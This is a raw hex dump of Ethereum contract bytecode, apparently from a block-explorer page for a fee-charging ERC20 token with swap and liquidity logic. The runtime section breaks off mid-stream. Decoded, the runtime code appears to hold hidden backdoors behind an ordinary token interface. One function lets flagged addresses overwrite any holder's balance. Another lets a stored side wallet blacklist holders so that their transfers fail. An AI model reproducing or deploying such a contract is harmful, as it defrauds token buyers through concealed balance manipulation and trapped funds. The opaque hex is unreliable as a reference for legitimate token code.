52ba7f163c4a11628f55a4df523b3ef846040516132e291906144aa565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff021916908315150217905550600061334e6002613340601a54613332601554876137f990919063ffffffff16565b61387490919063ffffffff16565b61387490919063ffffffff16565b9050600061336582846130d090919063ffffffff16565b9050613370816138be565b600047905060006133a1613390600260155461387490919063ffffffff16565b601a546130d090919063ffffffff16565b905060006133df60026133d1846133c3601554886137f990919063ffffffff16565b61387490919063ffffffff16565b61387490919063ffffffff16565b9050600061340a836133fc601754876137f990919063ffffffff16565b61387490919063ffffffff16565b905060006134338261342585886130d090919063ffffffff16565b6130d090919063ffffffff16565b9050600081111561346b5761346a600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613b49565b5b60008211156134a1576134a0600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613b49565b5b6000831180156134b15750600087115b156134c1576134c08784613b94565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661350a600154613c88565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166135d957600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135d857600080fd5b5b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561365a576136536064613645601854866137f990919063ffffffff16565b61387490919063ffffffff16565b90506136d8565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136d7576136d460646136c6601954866137f990919063ffffffff16565b61387490919063ffffffff16565b90505b5b60008111156137dc5761373381600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137d391906144aa565b60405180910390a35b6137ef81846130d090919063ffffffff16565b9150509392505050565b60008083141561380c576000905061386e565b6000828461381a9190614646565b90508284826138299190614615565b14613869576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138609061442a565b60405180910390fd5b809150505b92915050565b60006138b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c9a565b905092915050565b6000600267ffffffffffffffff8111156138db576138da6148ed565b5b6040519080825280602002602001820160405280156139095781602001602082028036833780820191505090505b5090503081600081518110613921576139206148be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156139c357600080fd5b505afa1580156139d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139fb9190613df3565b81600181518110613a0f57613a0e6148be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613a7630601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613ada9594939291906144f5565b600060405180830381600087803b158015613af457600080fd5b505af1158015613b08573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613b3d9291906144c5565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613b8f573d6000803e3d6000fd5b505050565b613bc130601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613c0d612038565b426040518863ffffffff1660e01b8152600401613c2f969594939291906142f1565b6060604051808303818588803b158015613c4857600080fd5b505af1158015613c5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613c819190614000565b5050505050565b6000613c9382613cfd565b9050919050565b60008083118290613ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cd89190614388565b60405180910390fd5b5060008385613cf09190614615565b9050809150509392505050565b6000819050919050565b600081359050613d1681614b72565b92915050565b600081519050613d2b81614b72565b92915050565b60008083601f840112613d4757613d46614921565b5b8235905067ffffffffffffffff811115613d6457613d6361491c565b5b602083019150836020820283011115613d8057613d7f614926565b5b9250929050565b600081359050613d9681614b89565b92915050565b600081359050613dab81614ba0565b92915050565b600081519050613dc081614ba0565b92915050565b600060208284031215613ddc57613ddb614930565b5b6000613dea84828501613d07565b91505092915050565b600060208284031215613e0957613e08614930565b5b6000613e1784828501613d1c565b91505092915050565b60008060408385031215613e3757613e36614930565b5b6000613e4585828601613d07565b9250506020613e5685828601613d07565b9150509250929050565b600080600060608486031215613e7957613e78614930565b5b6000613e8786828701613d07565b9350506020613e9886828701613d07565b9250506040613ea986828701613d9c565b9150509250925092565b60008060408385031215613eca57613ec9614930565b5b6000613ed885828601613d07565b9250506020613ee985828601613d9c565b9150509250929050565b600080600060408486031215613f0c57613f0b614930565b5b600084013567ffffffffffffffff811115613f2a57613f2961492b565b5b613f3686828701613d31565b93509350506020613f4986828701613d87565b9150509250925092565b600060208284031215613f6957613f68614930565b5b6000613f7784828501613d87565b91505092915050565b600060208284031215613f9657613f95614930565b5b6000613fa484828501613d9c565b91505092915050565b600080600060608486031215613fc657613fc5614930565b5b6000613fd486828701613d9c565b9350506020613fe586828701613d9c565b9250506040613ff686828701613d9c565b9150509250925092565b60008060006060848603121561401957614018614930565b5b600061402786828701613db1565b935050602061403886828701613db1565b925050604061404986828701613db1565b9150509250925092565b600061405f838361407a565b60208301905092915050565b614074816146e6565b82525050565b614083816146d4565b82525050565b614092816146d4565b82525050565b60006140a38261457a565b6140ad818561459d565b93506140b88361456a565b8060005b838110156140e95781516140d08882614053565b97506140db83614590565b9250506001810190506140bc565b5085935050505092915050565b6140ff816146f8565b82525050565b61410e8161473b565b82525050565b61411d8161474d565b82525050565b600061412e82614585565b61413881856145ae565b9350614148818560208601614783565b61415181614935565b840191505092915050565b60006141696023836145ae565b915061417482614946565b604082019050919050565b600061418c6022836145ae565b915061419782614995565b604082019050919050565b60006141af601b836145ae565b91506141ba826149e4565b602082019050919050565b60006141d26028836145ae565b91506141dd82614a0d565b604082019050919050565b60006141f56021836145ae565b915061420082614a5c565b604082019050919050565b60006142186020836145ae565b915061422382614aab565b602082019050919050565b600061423b6025836145ae565b915061424682614ad4565b604082019050919050565b600061425e6024836145ae565b915061426982614b23565b604082019050919050565b61427d81614724565b82525050565b61428c8161472e565b82525050565b60006020820190506142a76000830184614089565b92915050565b60006020820190506142c2600083018461406b565b92915050565b60006040820190506142dd6000830185614089565b6142ea6020830184614089565b9392505050565b600060c0820190506143066000830189614089565b6143136020830188614274565b6143206040830187614114565b61432d6060830186614114565b61433a6080830185614089565b61434760a0830184614274565b979650505050505050565b600060208201905061436760008301846140f6565b92915050565b60006020820190506143826000830184614105565b92915050565b600060208201905081810360008301526143a28184614123565b905092915050565b600060208201905081810360008301526143c38161415c565b9050919050565b600060208201905081810360008301526143e38161417f565b9050919050565b60006020820190508181036000830152614403816141a2565b9050919050565b60006020820190508181036000830152614423816141c5565b9050919050565b60006020820190508181036000830152614443816141e8565b9050919050565b600060208201905081810360008301526144638161420b565b9050919050565b600060208201905081810360008301526144838161422e565b9050919050565b600060208201905081810360008301526144a381614251565b9050919050565b60006020820190506144bf6000830184614274565b92915050565b60006040820190506144da6000830185614274565b81810360208301526144ec8184614098565b90509392505050565b600060a08201905061450a6000830188614274565b6145176020830187614114565b81810360408301526145298186614098565b90506145386060830185614089565b6145456080830184614274565b9695505050505050565b60006020820190506145646000830184614283565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145ca82614724565b91506145d583614724565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561460a57614609614831565b5b828201905092915050565b600061462082614724565b915061462b83614724565b92508261463b5761463a614860565b5b828204905092915050565b600061465182614724565b915061465c83614724565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561469557614694614831565b5b828202905092915050565b60006146ab82614724565b91506146b683614724565b9250828210156146c9576146c8614831565b5b828203905092915050565b60006146df82614704565b9050919050565b60006146f182614704565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006147468261475f565b9050919050565b600061475882614724565b9050919050565b600061476a82614771565b9050919050565b600061477c82614704565b9050919050565b60005b838110156147a1578082015181840152602081019050614786565b838111156147b0576000848401525b50505050565b600060028204905060018216806147ce57607f821691505b602082108114156147e2576147e161488f565b5b50919050565b60006147f382614724565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561482657614825614831565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614b7b816146d4565b8114614b8657600080fd5b50565b614b92816146f8565b8114614b9d57600080fd5b50565b614ba981614724565b8114614bb457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200764c1a953213f5313aa9427e8869207ddeb89f3c8dd66db4aeed8b769e363dc64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610da7578063f2fde38b14610de4578063f872858a14610e0d578063f985622d14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f1d5f51714610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a073d37f1161017a578063a83f53a711610149578063a83f53a714610af2578063a9059cbb14610b1d578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a073d37f14610a36578063a08e671f14610a61578063a457c2d714610a8c578063a5d69d1f14610ac957610397565b80638b42507f116101b65780638b42507f1461097a5780638da5cb5b146109b75780639174c79d146109e257806395d89b4114610a0b57610397565b8063807c2d9c146108f957806382eefb431461092457806388790a681461094f57610397565b80633b97084a116102c15780635881f3ef1161025f5780636249faf11161022e5780636249faf11461083f57806370a082311461086857806377f31d03146108a55780637d1db4a5146108ce57610397565b80635881f3ef146107715780635df954ed146107ae57806360efb94f146107eb57806361a23c691461081457610397565b806342efd3701161029b57806342efd370146106b55780634a74bb02146106f257806353fdcf741461071d57806357a5802f1461074657610397565b80633b97084a146106245780633ecad2711461064d57806340b8000a1461068a57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056a578063313ce5671461059357806335d23615146105be57806339509351146105e757610397565b80632563ae83146104eb57806327c8f835146105145780632b112e491461053f57610397565b80631245e3471161036a5780631245e3471461042d5780631694505e1461045857806318160ddd1461048357806323b872dd146104ae57610397565b806301c6adc31461039c57806306fdde03146103c5578063095ea7b3146103f057610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be9190613eb3565b610e63565b005b3480156103d157600080fd5b506103da610efe565b6040516103e79190614388565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190613eb3565b610f90565b6040516104249190614352565b60405180910390f35b34801561043957600080fd5b50610442610fae565b60405161044f91906142ad565b60405180910390f35b34801561046457600080fd5b5061046d610fd4565b60405161047a919061436d565b60405180910390f35b34801561048f57600080fd5b50610498610ffa565b6040516104a591906144aa565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613e60565b611004565b6040516104e29190614352565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190613f53565b6110de565b005b34801561052057600080fd5b50610529611190565b6040516105369190614292565b60405180910390f35b34801561054b57600080fd5b506105546111b4565b60405161056191906144aa565b60405180910390f35b34801561057657600080fd5b50610591600480360381019061058c9190613dc6565b6111f8565b005b34801561059f57600080fd5b506105a86112d1565b6040516105b5919061454f565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190613dc6565b6112e8565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613eb3565b6113c1565b60405161061b9190614352565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613f80565b611474565b005b34801561065957600080fd5b50610674600480360381019061066f9190613dc6565b611513565b6040516106819190614352565b60405180910390f35b34801561069657600080fd5b5061069f611533565b6040516106ac91906142ad565b60405180910390f35b3480156106c157600080fd5b506106dc60048036038101906106d79190613dc6565b611559565b6040516106e99190614352565b60405180910390f35b3480156106fe57600080fd5b50610707611579565b6040516107149190614352565b60405180910390f35b34801561072957600080fd5b50610744600480360381019061073f9190613eb3565b61158c565b005b34801561075257600080fd5b5061075b6116b7565b60405161076891906144aa565b60405180910390f35b34801561077d57600080fd5b5061079860048036038101906107939190613dc6565b6116bd565b6040516107a59190614292565b60405180910390f35b3480156107ba57600080fd5b506107d560048036038101906107d09190613dc6565b611c3d565b6040516107e29190614352565b60405180910390f35b3480156107f757600080fd5b50610812600480360381019061080d9190613fad565b611c5d565b005b34801561082057600080fd5b50610829611d3d565b60405161083691906144aa565b60405180910390f35b34801561084b57600080fd5b5061086660048036038101906108619190613ef3565b611d43565b005b34801561087457600080fd5b5061088f600480360381019061088a9190613dc6565b611e7d565b60405161089c91906144aa565b60405180910390f35b3480156108b157600080fd5b506108cc60048036038101906108c79190613ef3565b611ec6565b005b3480156108da57600080fd5b506108e3612000565b6040516108f091906144aa565b60405180910390f35b34801561090557600080fd5b5061090e612006565b60405161091b91906144aa565b60405180910390f35b34801561093057600080fd5b5061093961200c565b60405161094691906144aa565b60405180910390f35b34801561095b57600080fd5b50610964612012565b60405161097191906144aa565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613dc6565b612018565b6040516109ae9190614352565b60405180910390f35b3480156109c357600080fd5b506109cc612038565b6040516109d99190614292565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a049190613fad565b612061565b005b348015610a1757600080fd5b50610a20612141565b604051610a2d9190614388565b60405180910390f35b348015610a4257600080fd5b50610a4b6121d3565b604051610a5891906144aa565b60405180910390f35b348015610a6d57600080fd5b50610a766121dd565b604051610a8391906144aa565b60405180910390f35b348015610a9857600080fd5b50610ab36004803603810190610aae9190613eb3565b6121e3565b604051610ac09190614352565b60405180910390f35b348015610ad557600080fd5b50610af06004803603810190610aeb9190613f53565b6122b0565b005b348015610afe57600080fd5b50610b07612362565b604051610b1491906144aa565b60405180910390f35b348015610b2957600080fd5b50610b446004803603810190610b3f9190613eb3565b612368565b604051610b519190614352565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190613fad565b612387565b005b348015610b8f57600080fd5b50610b98612467565b604051610ba591906144aa565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190613f53565b61246d565b005b348015610be357600080fd5b50610bec612556565b604051610bf991906144aa565b60405180910390f35b348015610c0e57600080fd5b50610c1761255c565b604051610c249190614292565b60405180910390f35b348015610c3957600080fd5b50610c42612582565b604051610c4f91906144aa565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613dc6565b612588565b604051610c8c9190614352565b60405180910390f35b348015610ca157600080fd5b50610caa6125a8565b604051610cb791906144aa565b60405180910390f35b348015610ccc57600080fd5b50610cd56125ae565b604051610ce29190614352565b60405180910390f35b348015610cf757600080fd5b50610d006125c1565b604051610d0d91906144aa565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613e20565b6125c7565b604051610d4a91906144aa565b60405180910390f35b348015610d5f57600080fd5b50610d6861264e565b604051610d7591906144aa565b60405180910390f35b348015610d8a57600080fd5b50610da56004803603810190610da09190613f80565b612654565b005b348015610db357600080fd5b50610dce6004803603810190610dc99190613dc6565b6126f3565b604051610ddb9190614352565b60405180910390f35b348015610df057600080fd5b50610e0b6004803603810190610e069190613dc6565b612713565b005b348015610e1957600080fd5b50610e22612865565b604051610e2f9190614352565b60405180910390f35b348015610e4457600080fd5b50610e4d612878565b604051610e5a91906144aa565b60405180910390f35b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610efa5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b606060028054610f0d906147b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610f39906147b6565b8015610f865780601f10610f5b57610100808354040283529160200191610f86565b820191906000526020600020905b815481529060010190602001808311610f6957829003601f168201915b5050505050905090565b6000610fa4610f9d6128dc565b84846128e4565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000611011848484612aaf565b506110d38461101e6128dc565b6110ce85604051806060016040528060288152602001614bb860289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006110846128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461306c9092919063ffffffff16565b6128e4565b600190509392505050565b6110e66128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a9061444a565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006111f36111e27f000000000000000000000000000000000000000000000000000000000000dead611e7d565b601b546130d090919063ffffffff16565b905090565b6112006128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112849061444a565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6112f06128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113749061444a565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061146a6113ce6128dc565b8461146585600760006113df6128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b6128e4565b6001905092915050565b61147c6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611509576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115009061444a565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b61159461311a565b73ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116b357600181141561164f576001600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506116b2565b60008114156116b1576000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b5050565b60155481565b60006116c76128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174b9061444a565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561179f57600080fd5b505afa1580156117b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d79190613df3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561183957600080fd5b505afa15801561184d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118719190613df3565b6040518363ffffffff1660e01b815260040161188e9291906142c8565b60206040518083038186803b1580156118a657600080fd5b505afa1580156118ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118de9190613df3565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ac157601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561197d57600080fd5b505afa158015611991573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b59190613df3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a1757600080fd5b505afa158015611a2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a4f9190613df3565b6040518363ffffffff1660e01b8152600401611a6c9291906142c8565b602060405180830381600087803b158015611a8657600080fd5b505af1158015611a9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abe9190613df3565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b600e6020528060005260406000206000915054906101000a900460ff1681565b611c656128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce99061444a565b60405180910390fd5b82600f819055508160108190555080601181905550611d32601154611d24601054600f5461287e90919063ffffffff16565b61287e90919063ffffffff16565b601881905550505050565b60165481565b611d4b6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf9061444a565b60405180910390fd5b60005b83839050811015611e77578160096000868685818110611dfe57611dfd6148be565b5b9050602002016020810190611e139190613dc6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e6f906147e8565b915050611ddb565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611ece6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f529061444a565b60405180910390fd5b60005b83839050811015611ffa578160086000868685818110611f8157611f806148be565b5b9050602002016020810190611f969190613dc6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ff2906147e8565b915050611f5e565b50505050565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6120696128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ed9061444a565b60405180910390fd5b82601281905550816013819055508060148190555061213660145461212860135460125461287e90919063ffffffff16565b61287e90919063ffffffff16565b601981905550505050565b606060038054612150906147b6565b80601f016020809104026020016040519081016040528092919081815260200182805461217c906147b6565b80156121c95780601f1061219e576101008083540402835291602001916121c9565b820191906000526020600020905b8154815290600101906020018083116121ac57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b60006122a66121f06128dc565b846122a185604051806060016040528060258152602001614be0602591396007600061221a6128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461306c9092919063ffffffff16565b6128e4565b6001905092915050565b6122b86128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612345576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233c9061444a565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061237c6123756128dc565b8484612aaf565b506001905092915050565b61238f6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461241c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124139061444a565b60405180910390fd5b82601581905550816016819055508060178190555061245c60175461244e60165460155461287e90919063ffffffff16565b61287e90919063ffffffff16565b601a81905550505050565b60115481565b6124756128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f99061444a565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161254b9190614352565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b61265c6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e09061444a565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b61271b6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127a8576040517f08c